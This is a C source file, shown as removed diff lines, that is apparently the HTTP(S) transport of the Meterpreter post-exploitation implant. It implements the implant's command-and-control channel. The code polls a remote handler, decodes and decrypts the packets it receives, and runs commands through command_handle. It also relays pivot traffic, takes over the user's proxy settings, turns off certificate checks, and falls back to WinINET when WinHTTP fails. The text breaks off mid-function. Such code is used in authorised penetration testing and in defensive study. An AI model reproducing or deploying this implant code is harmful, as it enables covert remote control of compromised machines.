* @file server_transport_http.c - * @remark This file doesn't use precompiled headers because metsrv.h includes a bunch of - * of definitions that clash with those found in winhttp.h. Hooray Win32 API. I hate you. - */ -#include "../../common/common.h" -#include "../../common/config.h" -#include "server_transport_wininet.h" -#include -#include "../../common/packet_encryption.h" -#include "../../common/pivot_packet_dispatch.h" - -/*! - * @brief Prepare a winHTTP request with the given context. - * @param ctx Pointer to the HTTP transport context to prepare the request from. - * @param isGet Indication of whether this request is a GET request, otherwise POST is used. - * @param direction String representing the direction of the communications (for debug). - * @return An Internet request handle. - */ -static HINTERNET get_request_winhttp(HttpTransportContext *ctx, BOOL isGet, const char *direction) -{ - HINTERNET hReq = NULL; - DWORD flags = WINHTTP_FLAG_BYPASS_PROXY_CACHE; - - if (ctx->ssl) - { - flags |= WINHTTP_FLAG_SECURE; - dprintf("[%s] Setting secure flag..", direction); - } - - vdprintf("[%s] opening request on connection %x to %S", direction, ctx->connection, ctx->uri); - hReq = WinHttpOpenRequest(ctx->connection, isGet ? L"GET" : L"POST", ctx->uri, NULL, NULL, NULL, flags); - - if (hReq == NULL) - { - dprintf("[%s] Failed WinHttpOpenRequest: %u", direction, GetLastError()); - SetLastError(ERROR_NOT_FOUND); - return NULL; - } - - // if no proxy is set, we should look to see if we can (and should) use the system - // proxy settings for the given user. - if (!ctx->proxy) - { - if (!ctx->proxy_configured) - { - WINHTTP_CURRENT_USER_IE_PROXY_CONFIG ieConfig = { 0 }; - if (WinHttpGetIEProxyConfigForCurrentUser(&ieConfig)) - { - dprintf("[PROXY] Got IE configuration"); - dprintf("[PROXY] AutoDetect: %s", ieConfig.fAutoDetect ? "yes" : "no"); - dprintf("[PROXY] Auto URL: %S", ieConfig.lpszAutoConfigUrl); - dprintf("[PROXY] Proxy: %S", ieConfig.lpszProxy); - dprintf("[PROXY] Proxy Bypass: %S", ieConfig.lpszProxyBypass); - - if (ieConfig.lpszAutoConfigUrl || ieConfig.fAutoDetect) - { - WINHTTP_AUTOPROXY_OPTIONS autoProxyOpts = { 0 }; - WINHTTP_PROXY_INFO proxyInfo = { 0 }; - - if (ieConfig.fAutoDetect) - { - dprintf("[PROXY] IE config set to autodetect with DNS or DHCP"); - - autoProxyOpts.dwFlags = WINHTTP_AUTOPROXY_AUTO_DETECT; - autoProxyOpts.dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A; - autoProxyOpts.lpszAutoConfigUrl = 0; - } - else if (ieConfig.lpszAutoConfigUrl) - { - dprintf("[PROXY] IE config set to autodetect with URL %S", ieConfig.lpszAutoConfigUrl); - - autoProxyOpts.dwFlags = WINHTTP_AUTOPROXY_CONFIG_URL; - autoProxyOpts.dwAutoDetectFlags = 0; - autoProxyOpts.lpszAutoConfigUrl = ieConfig.lpszAutoConfigUrl; - } - autoProxyOpts.fAutoLogonIfChallenged = TRUE; - - if (WinHttpGetProxyForUrl(ctx->internet, ctx->url, &autoProxyOpts, &proxyInfo)) - { - ctx->proxy_for_url = malloc(sizeof(WINHTTP_PROXY_INFO)); - memcpy(ctx->proxy_for_url, &proxyInfo, sizeof(WINHTTP_PROXY_INFO)); - } - } - else if (ieConfig.lpszProxy) - { - WINHTTP_PROXY_INFO* proxyInfo = (WINHTTP_PROXY_INFO*)calloc(1, sizeof(WINHTTP_PROXY_INFO)); - ctx->proxy_for_url = proxyInfo; - - dprintf("[PROXY] IE config set to proxy %S with bypass %S", ieConfig.lpszProxy, ieConfig.lpszProxyBypass); - - proxyInfo->dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY; - proxyInfo->lpszProxy = ieConfig.lpszProxy; - proxyInfo->lpszProxyBypass = ieConfig.lpszProxyBypass; - - // stop the cleanup code from removing these as we're using them behind the scenes and they will - // be freed later instead. - ieConfig.lpszProxy = NULL; - ieConfig.lpszProxyBypass = NULL;; - } - - if (ieConfig.lpszAutoConfigUrl) - { - GlobalFree(ieConfig.lpszAutoConfigUrl); - } - if (ieConfig.lpszProxy) - { - GlobalFree(ieConfig.lpszProxy); - } - if (ieConfig.lpszProxyBypass) - { - GlobalFree(ieConfig.lpszProxyBypass); - } - } - - // mark as "configured" so we don't attempt to do this horrible PoS mess again. - ctx->proxy_configured = TRUE; - } - - if (ctx->proxy_for_url && - !WinHttpSetOption(hReq, WINHTTP_OPTION_PROXY, ctx->proxy_for_url, sizeof(WINHTTP_PROXY_INFO))) - { - dprintf("[%s] Unable to set proxy options: %u", GetLastError()); - } - } - else - { - if (ctx->proxy_user) - { - dprintf("[%s] Setting proxy username to %S", direction, ctx->proxy_user); - if (!WinHttpSetOption(hReq, WINHTTP_OPTION_PROXY_USERNAME, ctx->proxy_user, (DWORD)(wcslen(ctx->proxy_user)))); - { - dprintf("[%s] Failed to set username %u", direction, GetLastError()); - } - } - if (ctx->proxy_pass) - { - dprintf("[%s] Setting proxy password to %S", direction, ctx->proxy_pass); - if (!WinHttpSetOption(hReq, WINHTTP_OPTION_PROXY_PASSWORD, ctx->proxy_pass, (DWORD)(wcslen(ctx->proxy_pass)))); - { - dprintf("[%s] Failed to set password %u", direction, GetLastError()); - } - } - } - - if (ctx->ssl) - { - flags = SECURITY_FLAG_IGNORE_UNKNOWN_CA - | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID - | SECURITY_FLAG_IGNORE_CERT_CN_INVALID - | SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE; - if (!WinHttpSetOption(hReq, WINHTTP_OPTION_SECURITY_FLAGS, &flags, sizeof(flags))) - { - dprintf("[%s] failed to set the security flags on the request", direction); - } - } - - return hReq; -} - -/* - * @brief Wrapper around WinHTTP-specific request handle closing functionality. - * @param hReq HTTP request handle. - * @return An indication of the result of sending the request. - */ -static BOOL close_request_winhttp(HANDLE hReq) -{ - return WinHttpCloseHandle(hReq); -} - -/*! - * @brief Wrapper around WinHTTP-specific response data reading functionality. - * @param hReq HTTP request handle. - * @param buffer Pointer to the data buffer. - * @param bytesToRead The number of bytes to read. - * @param bytesRead The number of bytes actually read. - * @return An indication of the result of sending the request. - */ -static BOOL read_response_winhttp(HANDLE hReq, LPVOID buffer, DWORD bytesToRead, LPDWORD bytesRead) -{ - return WinHttpReadData(hReq, buffer, bytesToRead, bytesRead); -} - - -/*! - * @brief Wrapper around WinHTTP-specific sending functionality. - * @param ctx Pointer to the current HTTP transport context. - * @param hReq HTTP request handle. - * @param buffer Pointer to the buffer to receive the data. - * @param size Buffer size. - * @return An indication of the result of sending the request. - */ -static BOOL send_request_winhttp(HttpTransportContext* ctx, HANDLE hReq, LPVOID buffer, DWORD size) -{ - if (ctx->custom_headers) - { - dprintf("[WINHTTP] Sending with custom headers: %S", ctx->custom_headers); - return WinHttpSendRequest(hReq, ctx->custom_headers, -1L, buffer, size, size, 0); - } - - return WinHttpSendRequest(hReq, NULL, 0, buffer, size, size, 0); -} - -/*! - * @brief Wrapper around WinHTTP-specific receiving functionality. - * @param hReq HTTP request handle. - * @return An indication of the result of receiving the request. - */ -static BOOL receive_response_winhttp(HANDLE hReq) -{ - return WinHttpReceiveResponse(hReq, NULL); -} - -/*! - * @brief Wrapper around WinHTTP-specific request response validation. - * @param hReq HTTP request handle. - * @param ctx The HTTP transport context. - * @return An indication of the result of getting a response. - */ -static DWORD validate_response_winhttp(HANDLE hReq, HttpTransportContext* ctx) -{ - DWORD statusCode; - DWORD statusCodeSize = sizeof(statusCode); - vdprintf("[PACKET RECEIVE WINHTTP] Getting the result code..."); - if (WinHttpQueryHeaders(hReq, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &statusCode, &statusCodeSize, WINHTTP_NO_HEADER_INDEX)) - { - vdprintf("[PACKET RECEIVE WINHTTP] Returned status code is %d", statusCode); - - // did the request succeed? - if (statusCode != 200) - { - // There are a few reasons why this could fail, including proxy related stuff. - // If we fail, we're going to fallback to WinINET and see if that works instead. - // there could be a number of reasons for failure, but we're only going to try - // to handle the case where proxy authentication fails. We'll indicate failure and - // let the switchover happen for us. - - // However, we won't do this in the case where cert hash verification is turned on, - // because we don't want to expose people to MITM if they've explicitly asked us not - // to. - if (ctx->cert_hash == NULL && statusCode == 407) - { - return ERROR_WINHTTP_CANNOT_CONNECT; - } - - // indicate something is up. - return ERROR_BAD_CONFIGURATION; - } - } - - if (ctx->cert_hash != NULL) - { - vdprintf("[PACKET RECEIVE WINHTTP] validating certificate hash"); - PCERT_CONTEXT pCertContext = NULL; - DWORD dwCertContextSize = sizeof(pCertContext); - - if (!WinHttpQueryOption(hReq, WINHTTP_OPTION_SERVER_CERT_CONTEXT, &pCertContext, &dwCertContextSize)) - { - dprintf("[PACKET RECEIVE WINHTTP] Failed to get the certificate context: %u", GetLastError()); - return ERROR_WINHTTP_SECURE_INVALID_CERT; - } - - DWORD dwHashSize = 20; - BYTE hash[20]; - if (!CertGetCertificateContextProperty(pCertContext, CERT_SHA1_HASH_PROP_ID, hash, &dwHashSize)) - { - dprintf("[PACKET RECEIVE WINHTTP] Failed to get the certificate hash: %u", GetLastError()); - return ERROR_WINHTTP_SECURE_INVALID_CERT; - } - - if (memcmp(hash, ctx->cert_hash, CERT_HASH_SIZE) != 0) - { - dprintf("[SERVER] Server hash set to: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x", - hash[0], hash[1], hash[2], hash[3], hash[4], hash[5], hash[6], hash[7], hash[8], hash[9], hash[10], - hash[11], hash[12], hash[13], hash[14], hash[15], hash[16], hash[17], hash[18], hash[19]); - - dprintf("[PACKET RECEIVE WINHTTP] Certificate hash doesn't match, bailing out"); - return ERROR_WINHTTP_SECURE_INVALID_CERT; - } - } - - return ERROR_SUCCESS; -} - -/*! - * @brief Windows-specific function to transmit a packet via HTTP(s) using winhttp _and_ destroy it. - * @param remote Pointer to the \c Remote instance. - * @param packet Pointer to the \c Packet that is to be sent. - * @param completion Pointer to the completion routines to process. - * @return An indication of the result of processing the transmission request. - */ -static DWORD packet_transmit_http(Remote *remote, LPBYTE rawPacket, DWORD rawPacketLength) -{ - DWORD res = 0; - HINTERNET hReq; - BOOL result; - DWORD retries = 5; - HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; - - lock_acquire(remote->lock); - - do - { - hReq = ctx->create_req(ctx, FALSE, "PACKET TRANSMIT"); - if (hReq == NULL) - { - break; - } - - result = ctx->send_req(ctx, hReq, rawPacket, rawPacketLength); - - if (!result) - { - dprintf("[PACKET TRANSMIT] Failed HttpSendRequest: %d", GetLastError()); - SetLastError(ERROR_NOT_FOUND); - break; - } - - dprintf("[PACKET TRANSMIT] request sent.. apparently"); - } while(0); - - ctx->close_req(hReq); - - lock_release(remote->lock); - - return res; -} - -/*! - * @brief Windows-specific function to receive a new packet via one of the HTTP libs (WinInet or WinHTTP). - * @param remote Pointer to the \c Remote instance. - * @param packet Pointer to a pointer that will receive the \c Packet data. - * @return An indication of the result of processing the transmission request. - */ -static DWORD packet_receive_http(Remote *remote, Packet **packet) -{ - DWORD headerBytes = 0, payloadBytesLeft = 0, res; - Packet *localPacket = NULL; - PacketHeader header; - LONG bytesRead; - BOOL inHeader = TRUE; - PUCHAR packetBuffer = NULL; - ULONG payloadLength; - HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; - - HINTERNET hReq; - BOOL hRes; - DWORD retries = 5; - - lock_acquire(remote->lock); - - hReq = ctx->create_req(ctx, TRUE, "PACKET RECEIVE"); - if (hReq == NULL) - { - goto out; - } - - vdprintf("[PACKET RECEIVE HTTP] sending GET"); - hRes = ctx->send_req(ctx, hReq, NULL, 0); - - if (!hRes) - { - dprintf("[PACKET RECEIVE HTTP] Failed send_req: %d %d", GetLastError(), WSAGetLastError()); - SetLastError(ERROR_NOT_FOUND); - goto out; - } - - vdprintf("[PACKET RECEIVE HTTP] Waiting to see the response ..."); - if (ctx->receive_response && !ctx->receive_response(hReq)) - { - vdprintf("[PACKET RECEIVE] Failed receive: %d", GetLastError()); - SetLastError(ERROR_NOT_FOUND); - goto out; - } - - SetLastError(ctx->validate_response(hReq, ctx)); - - if (GetLastError() != ERROR_SUCCESS) - { - goto out; - } - - // Read the packet length - retries = 3; - vdprintf("[PACKET RECEIVE HTTP] Start looping through the receive calls"); - while (inHeader && retries > 0) - { - retries--; - if (!ctx->read_response(hReq, (PUCHAR)&header + headerBytes, sizeof(PacketHeader)-headerBytes, &bytesRead)) - { - dprintf("[PACKET RECEIVE HTTP] Failed HEADER read_response: %d", GetLastError()); - SetLastError(ERROR_NOT_FOUND); - goto out; - } - - vdprintf("[PACKET RECEIVE NHTTP] Data received: %u bytes", bytesRead); - - // If the response contains no data, this is fine, it just means the - // remote side had nothing to tell us. Indicate this through a - // ERROR_EMPTY response code so we can update the timestamp. - if (bytesRead == 0) - { - SetLastError(ERROR_EMPTY); - goto out; - } - - headerBytes += bytesRead; - - if (headerBytes != sizeof(PacketHeader)) - { - continue; - } - - inHeader = FALSE; - } - - if (headerBytes != sizeof(PacketHeader)) - { - dprintf("[PACKET RECEIVE HTTP] headerBytes not valid"); - SetLastError(ERROR_NOT_FOUND); - goto out; - } - - dprintf("[PACKET RECEIVE HTTP] decoding header"); - PacketHeader encodedHeader; - memcpy(&encodedHeader, &header, sizeof(PacketHeader)); - xor_bytes(header.xor_key, (PUCHAR)&header + sizeof(header.xor_key), sizeof(PacketHeader) - sizeof(header.xor_key)); - -#ifdef DEBUGTRACE - PUCHAR h = (PUCHAR)&header; - vdprintf("[HTTP] Packet header: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); -#endif - - payloadLength = ntohl(header.length) - sizeof(TlvHeader); - vdprintf("[REC HTTP] Payload length is %d", payloadLength); - DWORD packetSize = sizeof(PacketHeader) + payloadLength; - vdprintf("[REC HTTP] total buffer size for the packet is %d", packetSize); - payloadBytesLeft = payloadLength; - - // Allocate the payload - if (!(packetBuffer = (PUCHAR)malloc(packetSize))) - { - dprintf("[REC HTTP] Failed to create the packet buffer"); - SetLastError(ERROR_NOT_ENOUGH_MEMORY); - goto out; - } - dprintf("[REC HTTP] Allocated packet buffer at %p", packetBuffer); - - // Copy the packet header stuff over to the packet - memcpy_s(packetBuffer, sizeof(PacketHeader), (LPBYTE)&encodedHeader, sizeof(PacketHeader)); - - LPBYTE payload = packetBuffer + sizeof(PacketHeader); - - // Read the payload - retries = payloadBytesLeft; - while (payloadBytesLeft > 0 && retries > 0) - { - vdprintf("[PACKET RECEIVE HTTP] reading more data from the body..."); - retries--; - if (!ctx->read_response(hReq, payload + payloadLength - payloadBytesLeft, payloadBytesLeft, &bytesRead)) - { - dprintf("[PACKET RECEIVE] Failed BODY read_response: %d", GetLastError()); - SetLastError(ERROR_NOT_FOUND); - goto out; - } - - if (!bytesRead) - { - vdprintf("[PACKET RECEIVE HTTP] no bytes read, bailing out"); - SetLastError(ERROR_NOT_FOUND); - goto out; - } - - vdprintf("[PACKET RECEIVE HTTP] bytes read: %u", bytesRead); - payloadBytesLeft -= bytesRead; - } - - // Didn't finish? - if (payloadBytesLeft) - { - goto out; - } - -#ifdef DEBUGTRACE - h = (PUCHAR)&header.session_guid[0]; - dprintf("[HTTP] Packet Session GUID: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); -#endif - - if (is_null_guid(header.session_guid) || memcmp(remote->orig_config->session.session_guid, header.session_guid, sizeof(header.session_guid)) == 0) - { - dprintf("[HTTP] Session GUIDs match (or packet guid is null), decrypting packet"); - SetLastError(decrypt_packet(remote, packet, packetBuffer, packetSize)); - } - else - { - dprintf("[HTTP] Session GUIDs don't match, looking for a pivot"); - PivotContext* pivotCtx = pivot_tree_find(remote->pivot_sessions, header.session_guid); - if (pivotCtx != NULL) - { - dprintf("[HTTP] Pivot found, dispatching packet on a thread (to avoid main thread blocking)"); - SetLastError(pivot_packet_dispatch(pivotCtx, packetBuffer, packetSize)); - - // mark this packet buffer as NULL as the thread will clean it up - packetBuffer = NULL; - *packet = NULL; - } - else - { - dprintf("[HTTP] Session GUIDs don't match, can't find pivot!"); - } - } - -out: - res = GetLastError(); - - dprintf("[HTTP] Cleaning up"); - SAFE_FREE(packetBuffer); - - // Cleanup on failure - if (res != ERROR_SUCCESS) - { - SAFE_FREE(localPacket); - } - - if (hReq) - { - ctx->close_req(hReq); - } - - lock_release(remote->lock); - - dprintf("[HTTP] Packet receive finished"); - - return res; -} - - -/*! - * @brief Initialise the HTTP(S) connection. - * @param transport Pointer to the transport instance. - * @return Indication of success or failure. - */ -static BOOL server_init_winhttp(Transport* transport) -{ - URL_COMPONENTS bits; - wchar_t tmpHostName[URL_SIZE]; - wchar_t tmpUrlPath[URL_SIZE]; - HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; - - dprintf("[WINHTTP] Initialising ..."); - - // configure proxy - if (ctx->proxy) - { - dprintf("[DISPATCH] Configuring with proxy: %S", ctx->proxy); - ctx->internet = WinHttpOpen(ctx->ua, WINHTTP_ACCESS_TYPE_NAMED_PROXY, ctx->proxy, WINHTTP_NO_PROXY_BYPASS, 0); - } - else - { - ctx->internet = WinHttpOpen(ctx->ua, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); - } - - if (!ctx->internet) - { - dprintf("[DISPATCH] Failed WinHttpOpen: %d", GetLastError()); - return FALSE; - } - - dprintf("[DISPATCH] Configured hInternet: 0x%.8x", ctx->internet); - - // The InternetCrackUrl method was poorly designed... - ZeroMemory(tmpHostName, sizeof(tmpHostName)); - ZeroMemory(tmpUrlPath, sizeof(tmpUrlPath)); - - ZeroMemory(&bits, sizeof(bits)); - bits.dwStructSize = sizeof(bits); - - bits.dwHostNameLength = URL_SIZE - 1; - bits.lpszHostName = tmpHostName; - - bits.dwUrlPathLength = URL_SIZE - 1; - bits.lpszUrlPath = tmpUrlPath; - - dprintf("[DISPATCH] About to crack URL: %S", transport->url); - WinHttpCrackUrl(transport->url, 0, 0, &bits); - - SAFE_FREE(ctx->uri); - ctx->uri = _wcsdup(tmpUrlPath); - transport->comms_last_packet = current_unix_timestamp(); - - dprintf("[DISPATCH] Configured URI: %S", ctx->uri); - dprintf("[DISPATCH] Host: %S Port: %u", tmpHostName, bits.nPort); - - // Allocate the connection handle - ctx->connection = WinHttpConnect(ctx->internet, tmpHostName, bits.nPort, 0); - if (!ctx->connection) - { - dprintf("[DISPATCH] Failed WinHttpConnect: %d", GetLastError()); - return FALSE; - } - - dprintf("[DISPATCH] Configured hConnection: 0x%.8x", ctx->connection); - - return TRUE; -} - -/*! - * @brief Deinitialise the HTTP(S) connection. - * @param remote Pointer to the remote instance with the HTTP(S) transport details wired in. - * @return Indication of success or failure. - */ -static DWORD server_deinit_http(Transport* transport) -{ - HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; - - dprintf("[HTTP] Deinitialising ..."); - - if (ctx->connection) - { - ctx->close_req(ctx->connection); - ctx->connection = NULL; - } - - if (ctx->internet) - { - ctx->close_req(ctx->internet); - ctx->internet = NULL; - } - - // have we had issues that require us to move? - if (ctx->move_to_wininet) - { - // yes, so switch on over. - transport_move_to_wininet(transport); - ctx->move_to_wininet = FALSE; - } - - return TRUE; -} - -/*! - * @brief The servers main dispatch loop for incoming requests using HTTP(S). - * @param remote Pointer to the remote endpoint for this server connection. - * @param dispatchThread Pointer to the main dispatch thread. - * @returns Indication of success or failure. - */ -static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread) -{ - BOOL running = TRUE; - LONG result = ERROR_SUCCESS; - Packet* packet = NULL; - THREAD* cpt = NULL; - DWORD ecount = 0; - DWORD delay = 0; - Transport* transport = remote->transport; - HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; - - while (running) - { - if (transport->timeouts.comms != 0 && transport->comms_last_packet + transport->timeouts.comms < current_unix_timestamp()) - { - dprintf("[DISPATCH] Shutting down server due to communication timeout"); - break; - } - - if (remote->sess_expiry_end != 0 && remote->sess_expiry_end < current_unix_timestamp()) - { - dprintf("[DISPATCH] Shutting down server due to hardcoded expiration time"); - dprintf("Timestamp: %u Expiration: %u", current_unix_timestamp(), remote->sess_expiry_end); - break; - } - - if (event_poll(dispatchThread->sigterm, 0)) - { - dprintf("[DISPATCH] server dispatch thread signaled to terminate..."); - break; - } - - dprintf("[DISPATCH] Reading data from the remote side..."); - result = packet_receive_http(remote, &packet); - - if (result != ERROR_SUCCESS) - { - // Update the timestamp for empty replies - if (result == ERROR_EMPTY) - { - transport->comms_last_packet = current_unix_timestamp(); - } - else if (result == ERROR_WINHTTP_CANNOT_CONNECT) - { - dprintf("[DISPATCH] Failed to work correctly with WinHTTP, moving over to WinINET"); - // next we need to indicate that we need to do a switch to wininet when we terminate - ctx->move_to_wininet = TRUE; - - // and pretend to do a transport switch, to ourselves! - remote->next_transport = remote->transport; - result = ERROR_SUCCESS; - break; - } - else if (result == ERROR_WINHTTP_SECURE_INVALID_CERT) - { - // This means that the certificate validation failed, and so - // we don't trust who we're connecting with, so we need to move - // on to another transport. - // If we're the only transport, then we should wait for the allotted - // time before trying again. Otherwise, we can just switch immediately. - // This avoids spinning the process and making way too many requests - // in a short period of time (ie. avoiding noise). - if (remote->transport == remote->transport->next_transport) - { - remote->next_transport_wait = remote->transport->timeouts.retry_wait; - } - - break; - } - else if (result == ERROR_BAD_CONFIGURATION) - { - // something went wrong with WinINET so break. - break; - } - - delay = 10 * ecount; - if (ecount >= 10) - { - delay *= 10; - } - - ecount++; - - dprintf("[DISPATCH] no pending packets, sleeping for %dms...", min(10000, delay)); - Sleep(min(10000, delay)); - } - else - { - transport->comms_last_packet = current_unix_timestamp(); - - // Reset the empty count when we receive a packet - ecount = 0; - - dprintf("[DISPATCH] Returned result: %d", result); - - if (packet != NULL) - { - running = command_handle(remote, packet); - dprintf("[DISPATCH] command_process result: %s", (running ? "continue" : "stop")); - - if (ctx->new_uri != NULL) - { - dprintf("[DISPATCH] Recieved hot-patched URL for stageless: %S", ctx->new_uri); - dprintf("[DISPATCH] Old URI is: %S", ctx->uri); - dprintf("[DISPATCH] Old URL is: %S", transport->url); - - // if the new URI needs more space, let's realloc space for the new URL now - int diff = (int)wcslen(ctx->new_uri) - (int)wcslen(ctx->uri); - if (diff > 0) - { - dprintf("[DISPATCH] New URI is bigger by %d", diff); - transport->url = (wchar_t*)realloc(transport->url, (wcslen(transport->url) + diff + 1) * sizeof(wchar_t)); - } - - // we also need to patch the new URI into the original transport URL, not just the currently - // active URI for comms. If we don't, then migration behaves badly. - // The URL looks like this: http(s)://:port/lurivalue/UUIDJUNK/ - // Start by locating the start of the URI in the current URL, by finding the third slash, - // as this value includes the LURI - wchar_t* csr = transport->url; - for (int i = 0; i < 3; ++i) - { - // We need to move to the next character first in case - // we are currently pointing at the previously found / - // we know we're safe skipping the first character in the whole - // URL because that'll be part of the scheme (ie. 'h' in http) - ++csr; - - while (*csr != L'\0' && *csr != L'/') - { - ++csr; - } - - dprintf("[DISPATCH] %d csr: %p -> %S", i, csr, csr); - - // this shouldn't happen! - if (*csr == L'\0') - { - break; - } - } - - // the pointer that we have will be - dprintf("[DISPATCH] Pointer is at: %p -> %S", csr, csr); - - // patch in the new URI - wcscpy_s(csr, wcslen(diff > 0 ? ctx->new_uri : ctx->uri) + 1, ctx->new_uri); - dprintf("[DISPATCH] New URL is: %S", transport->url); - - // clean up - SAFE_FREE(ctx->uri); - ctx->uri = ctx->new_uri; - ctx->new_uri = NULL; - } - } - else - { - dprintf("[DISPATCH] Packet was NULL, this indicates that it was a pivot packet"); - } - } - } - - return result; -} - -/*! - * @brief Destroy the HTTP(S) transport. - * @param transport Pointer to the HTTP(S) transport to reset. - */ -static void transport_destroy_http(Transport* transport) -{ - if (transport && (transport->type & METERPRETER_TRANSPORT_HTTP)) - { - HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; - - dprintf("[TRANS HTTP] Destroying http transport for url %S", transport->url); - - if (ctx) - { - SAFE_FREE(ctx->cert_hash); - SAFE_FREE(ctx->proxy); - SAFE_FREE(ctx->proxy_pass); - SAFE_FREE(ctx->proxy_user); - SAFE_FREE(ctx->ua); - SAFE_FREE(ctx->uri); - SAFE_FREE(ctx->custom_headers); - if (ctx->proxy_for_url) - { - WINHTTP_PROXY_INFO* proxyInfo = (WINHTTP_PROXY_INFO*)ctx->proxy_for_url; - if (proxyInfo->lpszProxy) - { - GlobalFree(proxyInfo->lpszProxy); - } - if (proxyInfo->lpszProxyBypass) - { - GlobalFree(proxyInfo->lpszProxyBypass); - } - } - SAFE_FREE(ctx->proxy_for_url); - } - SAFE_FREE(transport->url); - SAFE_FREE(transport->ctx); - SAFE_FREE(transport); - } -} - -void transport_write_http_config(Transport* transport, MetsrvTransportHttp* config) -{ - HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; - - dprintf("[HTTP CONF] Writing timeouts"); - config->common.comms_timeout = transport->timeouts.comms; - config->common.retry_total = transport->timeouts.retry_total; - config->common.retry_wait = transport->timeouts.retry_wait; - wcsncpy(config->common.url, transport->url, URL_SIZE); - - if (ctx->ua) - { - dprintf("[HTTP CONF] Writing UA"); - wcsncpy(config->ua, ctx->ua, UA_SIZE); - } - - if (ctx->cert_hash) - { - dprintf("[HTTP CONF] Writing cert hash"); - memcpy(config->ssl_cert_hash, ctx->cert_hash, CERT_HASH_SIZE); - } - - if (ctx->proxy) - { - dprintf("[HTTP CONF] Writing proxy"); - wcsncpy(config->proxy.hostname, ctx->proxy, PROXY_HOST_SIZE); - } - - if (ctx->proxy_user) - { - dprintf("[HTTP CONF] Writing user"); - wcsncpy(config->proxy.username, ctx->proxy_user, PROXY_USER_SIZE); - } - - if (ctx->proxy_pass) - { - dprintf("[HTTP CONF] Writing pass"); - wcsncpy(config->proxy.password, ctx->proxy_pass, PROXY_PASS_SIZE); - } - - - if (ctx->custom_headers) - { - dprintf("[HTTP CONF] Writing custom headers"); - // let's hope they've allocated the right amount of space based on what we told them - // in transport_get_config_size_http - wcscpy(config->custom_headers, ctx->custom_headers); - } - - dprintf("[HTTP CONF] Done."); -} - -/*! - * @brief Gets the size of the memory space required to store the configuration for this transport. - * @param t Pointer to the transport. - * @return Size, in bytes of the required memory block. - */ -static DWORD transport_get_config_size_http(Transport* t) -{ - DWORD size = sizeof(MetsrvTransportHttp); - - // Make sure we account for the custom headers, if there are any, which aren't - // of a predetermined size. - HttpTransportContext* ctx = (HttpTransportContext*)t->ctx; - if (ctx->custom_headers) - { - size += (DWORD)wcslen(ctx->custom_headers) * sizeof(ctx->custom_headers[0]); - } - return size; -} - - -/*! - * @brief Create an HTTP(S) transport from the given settings. - * @param config Pointer to the HTTP configuration block. - * @param size Pointer to the size of the parsed config block. - * @param config Pointer to the HTTP configuration block. - * @return Pointer to the newly configured/created HTTP(S) transport instance. - */ -Transport* transport_create_http(MetsrvTransportHttp* config, LPDWORD size) -{ - Transport* transport = (Transport*)malloc(sizeof(Transport)); - HttpTransportContext* ctx = (HttpTransportContext*)malloc(sizeof(HttpTransportContext)); - - if (size) - { - *size = sizeof(MetsrvTransportHttp); - } - - dprintf("[TRANS HTTP] Creating http transport for url %S", config->common.url); - - memset(transport, 0, sizeof(Transport)); - memset(ctx, 0, sizeof(HttpTransportContext)); - - dprintf("[TRANS HTTP] Given ua: %S", config->ua); - if (config->ua[0]) - { - ctx->ua = _wcsdup(config->ua); - } - dprintf("[TRANS HTTP] Given proxy host: %S", config->proxy.hostname); - if (config->proxy.hostname[0]) - { - ctx->proxy = _wcsdup(config->proxy.hostname); - } - dprintf("[TRANS HTTP] Given proxy user: %S", config->proxy.username); - if (config->proxy.username[0]) - { - ctx->proxy_user = _wcsdup(config->proxy.username); - } - dprintf("[TRANS HTTP] Given proxy pass: %S", config->proxy.password); - if (config->proxy.password[0]) - { - ctx->proxy_pass = _wcsdup(config->proxy.password); - } - ctx->ssl = wcsncmp(config->common.url, L"https", 5) == 0; - - if (config->custom_headers[0]) - { - ctx->custom_headers = _wcsdup(config->custom_headers); - if (size) - { - *size += (DWORD)wcslen(ctx->custom_headers) * sizeof(ctx->custom_headers[0]); - } - } - - dprintf("[SERVER] Received HTTPS Hash: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x", - config->ssl_cert_hash[0], config->ssl_cert_hash[1], config->ssl_cert_hash[2], config->ssl_cert_hash[3], - config->ssl_cert_hash[4], config->ssl_cert_hash[5], config->ssl_cert_hash[6], config->ssl_cert_hash[7], - config->ssl_cert_hash[8], config->ssl_cert_hash[9], config->ssl_cert_hash[10], config->ssl_cert_hash[11], - config->ssl_cert_hash[12], config->ssl_cert_hash[13], config->ssl_cert_hash[14], config->ssl_cert_hash[15], - config->ssl_cert_hash[16], config->ssl_cert_hash[17], config->ssl_cert_hash[18], config->ssl_cert_hash[19]); - - // 